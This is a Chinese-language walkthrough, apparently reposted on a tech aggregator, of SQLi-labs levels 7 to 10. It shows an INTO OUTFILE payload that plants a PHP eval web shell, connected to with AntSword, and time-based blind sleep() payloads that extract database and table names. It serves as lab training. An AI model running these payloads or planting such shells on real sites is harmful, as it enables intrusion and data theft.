SQL注入详解 7

编程入门 行业动态 更新时间:2024-10-11 19:15:35

SQL注入<a href=https://www.elefans.com/category/jswz/34/1770044.html style=详解 7"/>

SQL注入详解 7

目录

    • Less-7(outfile 导入文件)
    • Less-8(布尔盲注+时间盲注)
    • Less-9(时间盲注)
    • Less-10(时间盲注)

Less-7(outfile 导入文件)

第七关总结:
第七关的标题为dump into outfile,这表明我们需要利用文件导入来进行注入,这里首先需要判断注入类型,然后导入的路径我们可以根据前几关来确定,在真实环境我们可以利用报错来得到一些路径,也可以判断服务器的类型,根据网站的默认路径等来获得绝对路径

  1. 判断注入类型
1'
1')) and 1=1--+
1')) and 1=2--+



  1. 导入一句话木马
-1')) union select 1,"<?php @eval($_POST[shell]); ?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqllabs\\Less-7\\shell.php"--+


  1. 蚁剑连接成功

Less-8(布尔盲注+时间盲注)

第八关总结:
通过测试,第八关这里考察的是sql盲注,但是这里限制了报错注入,我们只能通过布尔盲注和时间盲注来确定,具体操作与第五关一样

猜解思路:
1. 猜解当前数据库名长度
2. 猜解数据库名(二分法猜解)
3. 猜解当前数据库中表的个数
4. 猜解每个表名的长度
5. 猜解表名(二分法猜解)
6. 猜解某个表中列的个数
7. 猜解每个列名的长度
8. 猜解列名(二分法猜解)
9. 猜解某个列中数据的个数
10. 采集每个数据的长度
11. 猜解收据(二分法猜解)

Less-9(时间盲注)

第九关总结:
第九关也是属于盲注类型,这个盲注由于不能明确的判断出字段数(因为这里的回显不改变,都是You are in… 从而无法判断),我们在这里可以进行时间盲注

开挂(查看源码):

  1. 判断注入类型
    等待5s才得到返回页面,说明注入类型是单引号字符型

  2. 判断当前数据库名长度

1' and if((length(database())=8),sleep(5),1)--+

  1. 猜解数据库名(二分法猜解,这里只猜解了一个字母,其他的类似)
1' and if((ascii(substr((select database()),1,1))=115),sleep(5),1)--+

  1. 猜解当前数据库表的数量
1' and if(((select count(table_name) from information_schema.tables where table_schema='security')=4),sleep(5),1)--+

  1. 猜解表名的长度(这里只猜解了第一个表明的长度)
1' and if(((length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)))=6),sleep(5),1)--+

  1. 猜解表名(这里只对表名的第一个字母进行了猜解)
1' and if(((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101),sleep(5),1)--+


7. 猜解列名与数据的方法与猜解表明的方法相同,这里不做过多讲述

Less-10(时间盲注)

第十关总结:
第十关能判断出注入类型,但是不能够判断字段数,回显始终保持不变,所以这里我们只能进行和第九关一毛一样的时间盲注,只是将其符号变为双引号

  1. 判断注入类型
1" and sleep(4)--+

  1. 无法判断字段数
1" and order by 100000--+

  1. 剩余步骤注入可以查看第九关

更多推荐

SQL注入详解 7

本文发布于:2024-02-27 14:11:39,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1706851.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:详解   SQL

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!